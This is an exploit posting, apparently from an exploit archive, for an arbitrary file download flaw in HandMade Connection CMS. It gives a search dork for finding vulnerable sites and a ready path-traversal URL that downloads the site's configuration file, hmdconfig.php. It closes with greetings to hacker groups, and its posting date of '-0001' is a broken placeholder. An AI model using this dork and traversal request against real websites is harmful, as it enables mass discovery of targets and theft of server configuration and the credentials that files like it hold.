HandMade Connection CMS Arbitrary File Download Vulnerability
Posted on 30 November -0001
<HTML><HEAD><TITLE>HandMade Connection CMS Arbitrary File Download Vulnerability</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: HandMade Connection CMS Arbitrary File Download Vulnerability # Exploit Author: N3ckr0s # Vendor Homepage:http://www.handmade.co.za/ # Category: webapps # Version: All # Tested on: ArchLinux Dork: inurl:"/index.php?comp=gallery" Exploit:http://target.com/index.php?comp=download&op=download&file=../includes/hmdconfig.php >Greets CyberTeamRox,GhostSquadHackers,Th3_Witch3r </BODY></HTML>
